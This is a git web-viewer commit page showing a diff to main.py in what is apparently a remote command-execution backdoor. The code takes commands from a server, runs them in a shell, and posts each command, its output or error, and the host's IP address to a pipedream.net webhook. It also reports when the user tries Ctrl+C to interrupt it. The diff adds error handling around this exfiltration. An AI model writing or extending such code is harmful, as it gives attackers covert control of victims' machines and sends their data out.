summaryrefslogtreecommitdiff
path: root/main.py
diff options
context:
space:
mode:
authorlittleblack111 <jerrylam110209@gmail.com>2023-08-16 12:31:32 +0800
committerlittleblack111 <jerrylam110209@gmail.com>2023-08-16 12:31:32 +0800
commit77362507141aaf1a79cf5ca2be8b9b050acd1e8d (patch)
treea59cf263b0a4d095741062a04f3b2b83a7f5c586 /main.py
parent94e6656e3191742c308d11a4cbfa41e38fd30231 (diff)
update
Diffstat (limited to 'main.py')
-rw-r--r--main.py51
1 files changed, 46 insertions, 5 deletions
diff --git a/main.py b/main.py
index c698c1a..f4687cd 100644
--- a/main.py
+++ b/main.py
@@ -62,19 +62,60 @@ while True:
print("Failed to connect to server")
continue
- cmdout = system(command, shell=True).decode()
- if cmdout != "":
+ try:
+ cmdout = system(command, shell=True).decode()
+ except subprocess.CalledProcessError as e:
try:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```- {ip}")
+ global sperror
+ sperror=True
+ except KeyboardInterrupt:
+ continue
+ try:
+ if e.output != "":
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```Error: {e.output} exited with code {e.returncode}```- {ip}")
+ else:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```Error: exited with no output and code {e.returncode}```- {ip}")
except KeyboardInterrupt:
try:
- post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``")
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post (error)output``")
except KeyboardInterrupt:
continue
continue
except:
- print("Failed to sent output")
+ print("Failed to sent (error)output")
continue
+ except KeyboardInterrupt:
+ try:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to execute command``")
+ except KeyboardInterrupt:
+ continue
+ continue
+
+ if not sperror:
+ if cmdout != "":
+ try:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```{cmdout}```- {ip}")
+ except KeyboardInterrupt:
+ try:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``")
+ except KeyboardInterrupt:
+ continue
+ continue
+ except:
+ print("Failed to sent output")
+ continue
+ else:
+ try:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"``$ {command}`` ```Command Executed successfully without output```- {ip}")
+ except KeyboardInterrupt:
+ try:
+ post("https://eo482aoknyxae8c.m.pipedream.net", data=f"{ip}: ``Client tried to SIGINT(Ctrl+C) when trying to post output``")
+ except KeyboardInterrupt:
+ continue
+ continue
+ except:
+ print("Failed to sent output")
+ continue
old_command = command
continue
except: